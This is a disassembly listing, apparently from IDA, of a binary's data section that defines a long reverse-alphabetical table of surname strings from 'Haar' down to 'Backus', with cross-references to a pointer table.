aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
